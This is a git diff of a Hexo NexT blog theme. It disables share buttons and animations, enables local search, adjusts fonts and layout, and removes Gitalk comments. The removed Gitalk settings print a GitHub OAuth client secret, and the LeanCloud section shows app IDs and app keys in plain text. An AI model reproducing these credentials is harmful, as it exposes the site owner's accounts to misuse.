cleanly: false # Hide 'Powered by ...' on footer, and more
@ -422,15 +421,6 @@ gitment:
proxy_gateway: # Address of api proxy, See: https://github.com/aimingoo/intersect
redirect_protocol: # Protocol of redirect_uri with force_redirect_protocol when mint enabled
gitalk:
enable: true
github_user: Cool-Y
github_repo: gitment-comments
client_id: 180955a2c3ae3d966d9a
client_secret: 1c5db4da72df5e6fc318d12afe5f4406f7c54343
admin: Cool-Y
distractionFreeMode: true
# Baidu Share
# Available value:
# button | slide
@ -461,16 +451,16 @@ gitalk:
# Technorati,Posterous,Tumblr,GoogleBookmarks,Newsvine,
# Evernote,Friendfeed,Vkontakte,Odnoklassniki,Mailru
needmoreshare2:
enable: true
enable: false
postbottom:
enable: true
enable: false
options:
iconStyle: box
boxForm: horizontal
position: bottomCenter
networks: Weibo,Wechat,Douban,QQZone,Twitter,Facebook
float:
enable: true
enable: false
options:
iconStyle: box
boxForm: horizontal
@ -549,8 +539,8 @@ rating:
# You can visit https://leancloud.cn get AppID and AppKey.
leancloud_visitors:
enable: true
app_id: CnxMogaLcXQrm9Q03lF8XH7j-gzGzoHsz
app_key: EHqNuJ6AYvuHnY6bN6w2SMXl
app_id: EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz
app_key: x8FxDrYG79C8YFrTww9ljo8K
# Another tool to show number of visitors to each article.
# visit https://console.firebase.google.com/u/0/ to get apiKey and projectId
@ -621,19 +611,19 @@ algolia_search:
# Local search
# Dependencies: https://github.com/flashlab/hexo-generator-search
# local_search:
# enable: true
# # if auto, trigger search by changing input
# # if manual, trigger search by pressing enter key or search button
# trigger: auto
# # show top n results per article, show all results by setting to -1
# top_n_per_article: 1
local_search:
enable: true
# if auto, trigger search by changing input
# if manual, trigger search by pressing enter key or search button
trigger: auto
# show top n results per article, show all results by setting to -1
top_n_per_article: 1
# search:
# path: search.xml
# field: post
# format: html
# limit: 10000
search:
path: search.xml
field: post
format: html
limit: 10000
# ---------------------------------------------------------------
# Tags Settings
@ -698,24 +688,24 @@ motion:
fancybox: true
# Progress bar in the top during page loading.
pace: true
pace: false
# Themes list:
#pace-theme-big-counter
#pace-theme-bounce
#pace-theme-barber-shop
pace_theme: pace-theme-center-atom
#pace-theme-center-atom
#pace-theme-center-circle
#pace-theme-center-radar
#pace-theme-center-simple
#pace-theme-corner-indicator
#pace-theme-fill-left
# pace_theme: pace-theme-flash
#pace-theme-flash
#pace-theme-loading-bar
# pace_theme: pace-theme-mac-osx
#pace-theme-mac-osx
#pace-theme-minimal
# For example
# pace_theme: pace-theme-center-simple
# pace_theme: pace-theme-minimal
pace_theme: pace-theme-minimal
# Canvas-nest
canvas_nest: false
@ -735,7 +725,7 @@ canvas_sphere: false
# alpha: The transparency of the ribbon.
# zIndex: The display level of the ribbon.
canvas_ribbon:
enable: true
enable: false
size: 300
alpha: 0.6
zIndex: -1

View File

@ -17,7 +17,6 @@ menu:
sitemap: 站点地图
commonweal: 公益404
bookmarks: 书签
album: 相簿
sidebar:
overview: 站点概览

View File

@ -110,7 +110,7 @@
{% endif %}
<div id="music163player">
<iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=110 src="//music.163.com/outchain/player?type=4&id=334277093&auto=1&height=90"></iframe>
<iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=450 src="//music.163.com/outchain/player?type=4&id=334277093&auto=1&height=430"></iframe>
</div>

View File

@ -62,11 +62,6 @@
{% endif %}
</div>
{% elseif theme.gitalk.enable %}
<div class="comments" id="comments">
<div id="gitalk-container"></div>
</div>
{% elseif theme.valine.appid and theme.valine.appkey %}
<div class="comments" id="comments">
</div>

View File

@ -1,30 +0,0 @@
{% if not (theme.duoshuo and theme.duoshuo.shortname) and not theme.duoshuo_shortname %}
{% if theme.gitalk.enable and theme.gitalk.client_id %}
<!-- LOCAL: You can save these files to your site and update links -->
{% set CommentsClass = "Gitalk" %}
<link rel="stylesheet" href="https://unpkg.com/gitalk/dist/gitalk.css">
<script src="https://unpkg.com/gitalk/dist/gitalk.min.js"></script>
<!-- END LOCAL -->
{% if page.comments %}
<script type="text/javascript">
function renderGitalk(){
var gitalk = new {{CommentsClass}}({
owner: '{{ theme.gitalk.github_user }}',
repo: '{{ theme.gitalk.github_repo }}',
clientID: '{{ theme.gitalk.client_id }}',
clientSecret: '{{ theme.gitalk.client_secret }}',
admin: '{{ theme.gitalk.admin }}',
id: decodeURI(location.pathname),
{% if theme.gitalk.distractionFreeMode %}
distractionFreeMode: '{{ theme.gitalk.distractionFreeMode }}'
{% endif %}
});
gitalk.render('gitalk-container');
}
renderGitalk();
</script>
{% endif %}
{% endif %}
{% endif %}

View File

@ -6,4 +6,3 @@
{% include 'changyan.swig' %}
{% include 'gitment.swig' %}
{% include 'valine.swig' %}
{% include 'gitalk.swig' %}

View File

@ -62,8 +62,8 @@ get_font_family(config) {
}
// Font families.
//$font-family-chinese = "PingFang SC", "Microsoft YaHei"
$font-family-chinese = "Noto Serif SC";
$font-family-chinese = "PingFang SC", "Microsoft YaHei"
$font-family-base = $font-family-chinese, sans-serif
$font-family-base = get_font_family('global'), $font-family-chinese, sans-serif if get_font_family('global')
@ -228,11 +228,11 @@ $brand-color = white
$brand-hover-color = white
$brand-bg = $black-deep
$logo-font-size = 25px
$logo-font-size = 20px
$logo-font-size = unit(hexo-config('font.logo.size'), px) if hexo-config('font.logo.size') is a 'unit'
$site-subtitle-color = $grey-dark
$subtitle-font-size = 25px
$subtitle-font-size = 13px
$subtitle-color = $grey-dark
// Menu

View File

@ -1,5 +1,5 @@
//
$content-desktop = 700px
//$content-desktop = 700px
// 1600px
$content-desktop-large = 900px
$content-desktop-large = 1400px